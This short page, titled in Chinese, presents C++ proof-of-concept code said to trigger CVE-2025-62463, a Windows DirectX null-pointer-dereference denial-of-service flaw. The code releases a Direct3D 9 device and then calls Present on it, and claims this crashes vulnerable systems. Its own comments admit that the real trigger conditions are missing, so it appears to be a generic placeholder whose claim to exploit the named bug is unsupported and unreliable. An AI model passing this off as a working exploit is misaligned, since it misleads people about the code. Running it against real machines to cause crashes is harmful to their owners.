CVE-2025-62463: Windows DirectX空指针解引用拒绝服务漏洞

#include <windows.h> #include <d3d9.h> #pragma comment(lib, "d3d9.lib") // Trigger CVE-2025-62463: Null pointer dereference in Windows DirectX // This PoC demonstrates triggering a null pointer dereference in DirectX // Note: This is for educational purposes only int main() { HWND hwnd = GetConsoleWindow(); // Create Direct3D 9 interface LPDIRECT3D9 pD3D = Direct3DCreate9(D3D_SDK_VERSION); if (!pD3D) { return -1; } // Set up presentation parameters D3DPRESENT_PARAMETERS d3dpp; ZeroMemory(&d3dpp, sizeof(d3dpp)); d3dpp.Windowed = TRUE; d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; d3dpp.hDeviceWindow = hwnd; // Create Direct3D device LPDIRECT3DDEVICE9 pDevice = NULL; HRESULT hr = pD3D->CreateDevice( D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hwnd, D3DCREATE_SOFTWARE_VERTEXPROCESSING, &d3dpp, &pDevice ); if (SUCCEEDED(hr) && pDevice) { // Create and manipulate resources to trigger the vulnerability // In a real attack scenario, specific resource patterns would trigger // the null pointer dereference in the DirectX driver // Release device improperly to trigger condition pDevice->Release(); // Attempt to access released device - triggers null pointer dereference // In vulnerable versions, this causes system crash pDevice->Present(NULL, NULL, NULL, NULL); } pD3D->Release(); return 0; }